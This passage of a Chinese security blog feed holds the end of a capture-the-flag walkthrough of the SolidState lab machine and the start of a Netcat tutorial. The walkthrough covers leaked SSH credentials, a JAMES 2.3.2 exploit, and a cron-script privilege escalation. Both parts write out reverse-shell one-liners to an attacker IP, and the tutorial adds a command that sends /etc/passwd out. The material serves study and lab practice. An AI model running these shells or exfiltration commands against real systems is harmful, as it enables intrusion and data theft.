&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt; Tue, &lt;span class="m"&gt;22&lt;/span&gt; Aug &lt;span class="m"&gt;2017&lt;/span&gt; 13:13:42 -0400 &lt;span class="o"&gt;(&lt;/span&gt;EDT&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt;Date: Tue, &lt;span class="m"&gt;22&lt;/span&gt; Aug &lt;span class="m"&gt;2017&lt;/span&gt; 13:13:42 -0400 &lt;span class="o"&gt;(&lt;/span&gt;EDT&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt;From: mailadmin@localhost
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt;Subject: Welcome
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt;Dear Mindy,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt;Welcome to Solid State Security Cyber team! We are delighted you are joining us as a junior defense analyst. Your role is critical in fulfilling the mission of our orginzation. The enclosed information is designed to serve as an introduction to Cyber Security and provide resources that will &lt;span class="nb"&gt;help&lt;/span&gt; you make a smooth transition into your new role. The Cyber team is here to support your transition so, please know that you can call on any of us to assist you.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;29&lt;/span&gt;&lt;span class="cl"&gt;We are looking forward to you joining our team and your success at Solid State Security. 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;30&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;31&lt;/span&gt;&lt;span class="cl"&gt;Respectfully,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;32&lt;/span&gt;&lt;span class="cl"&gt;James
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;33&lt;/span&gt;&lt;span class="cl"&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;34&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;35&lt;/span&gt;&lt;span class="cl"&gt;retr &lt;span class="m"&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;36&lt;/span&gt;&lt;span class="cl"&gt;+OK Message follows
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;37&lt;/span&gt;&lt;span class="cl"&gt;Return-Path: &amp;lt;mailadmin@localhost&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;38&lt;/span&gt;&lt;span class="cl"&gt;Message-ID: &amp;lt;16744123.2.1503422270399.JavaMail.root@solidstate&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;39&lt;/span&gt;&lt;span class="cl"&gt;MIME-Version: 1.0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;40&lt;/span&gt;&lt;span class="cl"&gt;Content-Type: text/plain&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nv"&gt;charset&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;us-ascii
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;41&lt;/span&gt;&lt;span class="cl"&gt;Content-Transfer-Encoding: 7bit
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;42&lt;/span&gt;&lt;span class="cl"&gt;Delivered-To: mindy@localhost
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;43&lt;/span&gt;&lt;span class="cl"&gt;Received: from 192.168.11.142 &lt;span class="o"&gt;([&lt;/span&gt;192.168.11.142&lt;span class="o"&gt;])&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;44&lt;/span&gt;&lt;span class="cl"&gt; by solidstate &lt;span class="o"&gt;(&lt;/span&gt;JAMES SMTP Server 2.3.2&lt;span class="o"&gt;)&lt;/span&gt; with SMTP ID &lt;span class="m"&gt;581&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;45&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;for&lt;/span&gt; &amp;lt;mindy@localhost&amp;gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;46&lt;/span&gt;&lt;span class="cl"&gt; Tue, &lt;span class="m"&gt;22&lt;/span&gt; Aug &lt;span class="m"&gt;2017&lt;/span&gt; 13:17:28 -0400 &lt;span class="o"&gt;(&lt;/span&gt;EDT&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;47&lt;/span&gt;&lt;span class="cl"&gt;Date: Tue, &lt;span class="m"&gt;22&lt;/span&gt; Aug &lt;span class="m"&gt;2017&lt;/span&gt; 13:17:28 -0400 &lt;span class="o"&gt;(&lt;/span&gt;EDT&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;48&lt;/span&gt;&lt;span class="cl"&gt;From: mailadmin@localhost
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;49&lt;/span&gt;&lt;span class="cl"&gt;Subject: Your Access
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;50&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;51&lt;/span&gt;&lt;span class="cl"&gt;Dear Mindy,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;52&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;53&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;54&lt;/span&gt;&lt;span class="cl"&gt;Here are your ssh credentials to access the system. Remember to reset your password after your first login. 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;55&lt;/span&gt;&lt;span class="cl"&gt;Your access is restricted at the moment, feel free to ask your supervisor to add any commands you need to your path. 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;56&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;57&lt;/span&gt;&lt;span class="cl"&gt;username: mindy
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;58&lt;/span&gt;&lt;span class="cl"&gt;pass: P@55W0rd1!2@
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;59&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;60&lt;/span&gt;&lt;span class="cl"&gt;Respectfully,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;61&lt;/span&gt;&lt;span class="cl"&gt;James
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250413222331677" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250413222331677.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250413222409678" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250413222409678.png"&gt;&lt;/p&gt;
&lt;p&gt;信息收集得到mindy的ssh登录密码是&lt;code&gt;P@55W0rd1!2@&lt;/code&gt;&lt;/p&gt;
&lt;h3 id="进入ssh"&gt;进入SSH
&lt;/h3&gt;&lt;h4 id="方法一一句话直接进"&gt;方法一：一句话直接进
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;ssh mindy@172.168.169.131 &lt;span class="s2"&gt;&amp;#34;export TERM=xterm; python -c &amp;#39;import pty; pty.spawn(\&amp;#34;/bin/sh\&amp;#34;)&amp;#39;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;ssh mindy@172.168.169.131 -t &lt;span class="s2"&gt;&amp;#34;bash --noprofile&amp;#34;&lt;/span&gt; &lt;span class="c1"&gt;# 建议用这个，能用vim&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250413223659562" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250413223659562.png"&gt;&lt;/p&gt;
&lt;p&gt;如果我们直接ssh不带参数的话，进去的是rbash，不是完整的，后期没法提权。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250413223833643" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250413223833643.png"&gt;&lt;/p&gt;
&lt;h4 id="方法二35513py-直接进"&gt;方法二：35513.py 直接进
&lt;/h4&gt;&lt;p&gt;搜索JAMES相关漏洞得到如下结果&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;searchsploit JAMES 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250413172558842" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250413172558842.png"&gt;&lt;/p&gt;
&lt;p&gt;简单测试一下发现能连。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250413173030057" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250413173030057.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250413173246700" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250413173246700.png"&gt;&lt;/p&gt;
&lt;p&gt;将payload改为如下内容，反弹shell。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;nc 172.168.169.128(攻击机ip) 1234 -e /bin/bash
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="image-20250413222622844" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250413222622844.png"&gt;&lt;/p&gt;
&lt;p&gt;这里注意128是kali攻击机的ip，131是靶机的ip，中间网络断网重连过，所以网址变化过。kali攻击机本地开启监听&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;nc -lvp &lt;span class="m"&gt;8000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;然后打入poc后再用mindy的ssh密码链接即可。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;python2 35513.py 172.168.169.131 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;ssh mindy@172.168.169.131
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250413222818422" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250413222818422.png"&gt;&lt;/p&gt;
&lt;p&gt;得到第一段flag&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;cat user.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;914d0a4ebc1777889b5b89a23f556fd75
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250413222946936" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250413222946936.png"&gt;&lt;/p&gt;
&lt;h3 id="提权"&gt;提权
&lt;/h3&gt;&lt;p&gt;我们查看james相关的信息，他在opt目录下有相关信息。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;$ ps aux &lt;span class="p"&gt;|&lt;/span&gt; grep james
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;ps aux &lt;span class="p"&gt;|&lt;/span&gt; grep james
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;root &lt;span class="m"&gt;393&lt;/span&gt; 0.0 0.1 &lt;span class="m"&gt;2332&lt;/span&gt; &lt;span class="m"&gt;584&lt;/span&gt; ? Ss 07:56 0:00 /bin/sh /opt/james-2.3.2/bin/run.sh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;root &lt;span class="m"&gt;422&lt;/span&gt; 0.2 8.7 &lt;span class="m"&gt;443624&lt;/span&gt; &lt;span class="m"&gt;44384&lt;/span&gt; ? Sl 07:56 0:24 /usr/lib/jvm/java-8-openjdk-i386//bin/java -Djava.ext.dirs&lt;span class="o"&gt;=&lt;/span&gt;/opt/james-2.3.2/lib:/opt/james-2.3.2/tools/lib -Djava.security.manager -Djava.security.policy&lt;span class="o"&gt;=&lt;/span&gt;jar:file:/opt/james-2.3.2/bin/phoenix-loader.jar!/META-INF/java.policy -Dnetworkaddress.cache.ttl&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;300&lt;/span&gt; -Dphoenix.home&lt;span class="o"&gt;=&lt;/span&gt;/opt/james-2.3.2 -Djava.io.tmpdir&lt;span class="o"&gt;=&lt;/span&gt;/opt/james-2.3.2/temp -jar /opt/james-2.3.2/bin/phoenix-loader.jar
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;mindy &lt;span class="m"&gt;2520&lt;/span&gt; 0.0 0.1 &lt;span class="m"&gt;4736&lt;/span&gt; &lt;span class="m"&gt;820&lt;/span&gt; pts/1 S+ 10:43 0:00 grep james
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;$ 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250413224642404" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250413224642404.png"&gt;&lt;/p&gt;
&lt;p&gt;在&lt;code&gt;/opt&lt;/code&gt;目录下发现一个可以利用的脚本，而且是以root的身份运行的。而使用命令&lt;code&gt;find / -perm -0006 -type f ! -path &amp;quot;/proc/*&amp;quot; 2&amp;gt;/dev/null&lt;/code&gt;，查看是否存在other用户有read和write权限的脚本文件或可执行程序，并假设这些文件会被高权限用户的计划任务调用，从而通过在这些文件中写入提权代码来提权。也发现&lt;code&gt;/opt/tmp.py&lt;/code&gt;脚本文件，这种脚本文件很大概率会被作为计划任务执行，而非手动执行。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250413230136068" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250413230136068.png"&gt;&lt;/p&gt;
&lt;p&gt;尝试把反弹shell写到这个以root账户执行的脚本中，大概率就会弹回一个root权限的shell。要改这个py文件我们会发现vi和nano在这个丐版的sh上运行不佳，所以我们想个办法，要么把编辑好的文件传上去，要么用替换掉中间的字符或者插入命令。或者用之前可以用nano的命令进入即可修改&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;echo &amp;#34;os.system(&amp;#39;/bin/nc -e /bin/bash 192.168.169.128 4444&amp;#39;)&amp;#34; &amp;gt;&amp;gt; tmp.py
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;然后本机监听4444端口，等待几分钟等cortab运行这个文件。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250413235019269" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250413235019269.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250413235146903" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250413235146903.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;cat root.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;b4c9723a28899b1c45db281d99cc87c9
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;得到root的flag。&lt;/p&gt;
&lt;p&gt;root权限下查看crontab也能看到在跑tmp.py这个文件。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250413235520063" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250413235520063.png"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;🔔 &lt;strong&gt;想要获取更多网络安全与编程技术干货？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;关注 &lt;strong&gt;泷羽Sec-静安&lt;/strong&gt; 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻&lt;/p&gt;
&lt;p&gt;扫描下方二维码，马上加入我们，共同成长！🌟&lt;/p&gt;
&lt;p&gt;👉 &lt;strong&gt;长按或扫描二维码关注公众号&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚&lt;/p&gt;</description></item><item><title>Day8 Kali黑客工具NetCat和Socat</title><link>https://ruajingjing.top/post/day8-kali%E9%BB%91%E5%AE%A2%E5%B7%A5%E5%85%B7netcat%E5%92%8Csocat/</link><pubDate>Fri, 11 Apr 2025 23:13:09 +0000</pubDate><guid>https://ruajingjing.top/post/day8-kali%E9%BB%91%E5%AE%A2%E5%B7%A5%E5%85%B7netcat%E5%92%8Csocat/</guid><description>&lt;img src="https://ruajingjing.top/" alt="Featured image of post Day8 Kali黑客工具NetCat和Socat" /&gt;
 &lt;blockquote&gt;
 &lt;p&gt;泷羽Sec-静安，专注网络安全与编程技术的学习与分享，探索技术细节与实际应用。声明：本公众号所分享的工具与资源，仅供学习与研究使用，严禁用于任何非法活动。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="netcatnc"&gt;Netcat（nc）
&lt;/h2&gt;&lt;p&gt;Netcat（nc）因其灵活的TCP/UDP通信能力，在红队渗透测试中扮演着重要角色。• &lt;strong&gt;Netcat下载&lt;/strong&gt;：Windows版&lt;code&gt;nc.exe&lt;/code&gt;可从&lt;a class="link" href="https://docs.microsoft.com/zh-cn/sysinternals/" target="_blank" rel="noopener"
 &gt;Sysinternals Suite&lt;/a&gt;获取。&lt;/p&gt;
&lt;h3 id="1-反向shell获取控制权"&gt;&lt;strong&gt;1. 反向Shell获取控制权&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;用途&lt;/strong&gt;：绕过防火墙限制，建立隐蔽的远程控制通道。&lt;br&gt;
&lt;strong&gt;操作步骤&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;攻击端监听&lt;/strong&gt;（接收Shell）：
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;nc -lvp &lt;span class="m"&gt;4444&lt;/span&gt; -e /bin/bash &lt;span class="c1"&gt;# 传统方法（需目标支持-e参数）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;目标端连接&lt;/strong&gt;（主动回连）：
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;nc &lt;span class="o"&gt;[&lt;/span&gt;攻击者IP&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="m"&gt;4444&lt;/span&gt; -e /bin/bash &lt;span class="c1"&gt;# 直接执行Shell&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;strong&gt;绕过限制技巧&lt;/strong&gt;（无&lt;code&gt;-e&lt;/code&gt;参数时）：
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;mkfifo /tmp/f&lt;span class="p"&gt;;&lt;/span&gt; nc &lt;span class="o"&gt;[&lt;/span&gt;攻击者IP&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="m"&gt;4444&lt;/span&gt; &amp;lt; /tmp/f &lt;span class="p"&gt;|&lt;/span&gt; /bin/bash &amp;gt; /tmp/f 2&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;strong&gt;优势&lt;/strong&gt;：通过命名管道实现无&lt;code&gt;-e&lt;/code&gt;参数环境下的Shell反弹。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="2-端口扫描与监听"&gt;&lt;strong&gt;2. 端口扫描与监听&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;用途&lt;/strong&gt;：快速探测目标开放端口或搭建临时服务。&lt;br&gt;
&lt;strong&gt;实战命令&lt;/strong&gt;：
• &lt;strong&gt;端口扫描&lt;/strong&gt;（快速识别脆弱服务）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;nc -zv 192.168.1.100 1-1024 &lt;span class="c1"&gt;# 扫描1-1024端口（-z为扫描模式，-v显示详情）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;• &lt;strong&gt;监听端口&lt;/strong&gt;（捕获敏感流量）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;nc -l -p &lt;span class="m"&gt;8080&lt;/span&gt; &amp;gt; captured_data.log &lt;span class="c1"&gt;# 记录所有传入数据到文件&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="3-文件传输与数据窃取"&gt;&lt;strong&gt;3. 文件传输与数据窃取&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;用途&lt;/strong&gt;：内网横向移动时快速交换工具或窃取数据。&lt;br&gt;
&lt;strong&gt;操作示例&lt;/strong&gt;：
• &lt;strong&gt;单向传输&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 接收端（攻击机）：&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;nc -l -p &lt;span class="m"&gt;1234&lt;/span&gt; &amp;gt; stolen_data.tar.gz
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 发送端（目标机）：&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;nc &lt;span class="o"&gt;[&lt;/span&gt;攻击者IP&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="m"&gt;1234&lt;/span&gt; &amp;lt; /etc/passwd &lt;span class="c1"&gt;# 发送敏感文件&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;• &lt;strong&gt;目录批量传输&lt;/strong&gt;（结合tar压缩）：&lt;/p&gt;
